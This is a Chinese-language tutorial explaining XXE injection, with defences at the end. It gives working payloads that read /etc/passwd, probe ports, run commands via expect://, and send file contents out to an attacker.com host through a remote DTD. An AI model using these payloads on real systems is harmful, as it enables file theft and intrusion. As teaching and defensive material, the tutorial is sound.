XXE漏洞原理
字数 1173 2025-08-15 21:33:46
XXE漏洞原理与利用详解
1. XML基础概念
1.1 XML定义
XML(eXtensible Markup Language)是一种用于传输和存储数据的可扩展标记语言,与HTML用于显示数据不同,XML专注于数据交换。
1.2 XML语法规则
- 所有XML元素必须有闭合标签
- 标签对大小写敏感
- 必须正确嵌套
- 属性值必须加引号
- 特殊字符需使用实体引用(如
<用<表示)
1.3 XML文档结构
- XML文档声明(第一行)
- 文档类型定义(DTD,XXE漏洞所在)
- XML文档元素
2. DTD(文档类型定义)
2.1 DTD作用
定义XML文档的合法构建模块,可在XML文档内声明或外部引用。
2.2 DTD声明方式
- 内部声明:
<!DOCTYPE 根元素 [元素声明]>
- 外部声明:
<!DOCTYPE 根元素 SYSTEM "文件名">
或
<!DOCTYPE 根元素 PUBLIC "public_ID" "文件名">
2.3 DTD实体
用于定义引用普通文本或特殊字符的快捷方式变量。
- 内部实体声明:
<!ENTITY 实体名称 "实体的值">
- 外部实体声明:
<!ENTITY 实体名称 SYSTEM "URL">
或
<!ENTITY 实体名称 PUBLIC "public_ID" "URL">
- 参数实体(只能在DTD中定义使用):
<!ENTITY % 实体名称 "值">
或
<!ENTITY % 实体名称 SYSTEM "URL">
3. XXE漏洞原理
XXE(XML External Entity Injection)即XML外部实体注入,当XML在引入外部实体时完成注入攻击。
3.1 漏洞成因
允许加载外部实体,导致解析XML时可加载恶意外部文件。
3.2 支持协议
不同语言支持的协议不同,常见的有:
- file://
- http://
- ftp://
- php://
- expect://(需安装expect扩展)
4. XXE漏洞危害
4.1 文件读取(有回显)
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
<!ENTITY xxes SYSTEM "file:///etc/passwd">
]>
<user>
<username>&xxes;</username>
<password>admin</password>
</user>
4.2 文件读取(无回显/Blind XXE)
利用参数实体和远程服务器外带数据:
- 远程evil.dtd文件内容:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://attacker.com/%file;'>">
- 攻击payload:
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd">
%remote;%int;%send;
]>
4.3 端口探测
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
<!ENTITY xxes SYSTEM "http://127.0.0.1:8000">
]>
<user>
<username>&xxes;</username>
<password>admin</password>
</user>
4.4 命令执行(需expect扩展)
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [
<!ENTITY xxes SYSTEM "expect://id">
]>
<user>
<username>&xxes;</username>
<password>admin</password>
</user>
5. 实际案例
5.1 CTF题目示例
- 发现API接受JSON格式数据
- 尝试修改Content-Type为application/xml
- 构造XXE payload读取目标文件
5.2 Vulnhub靶场示例
- 通过robots.txt发现敏感目录
- 发现XML数据传输端点
- 利用XXE读取/etc/passwd
- 读取admin.php源码获取凭证
- 登录后获取flag
6. XXE防御措施
6.1 PHP防御方法
libxml_disable_entity_loader(true);
6.2 其他防御措施
- 禁用外部实体加载
- 使用白名单验证输入
- 使用简单的数据格式(如JSON)替代XML
- 及时更新XML处理器库
7. 关键点总结
- XXE漏洞核心在于外部实体的不当加载
- 利用方式多样:文件读取、SSRF、端口扫描、命令执行等
- 无回显情况下可通过参数实体外带数据
- 防御关键在于禁用外部实体加载
- 实际渗透中需注意Content-Type的修改和响应分析
通过深入理解XML结构和DTD定义,掌握XXE漏洞的原理和多种利用方式,能够在安全测试中有效发现和利用此类漏洞,同时采取适当措施进行防御。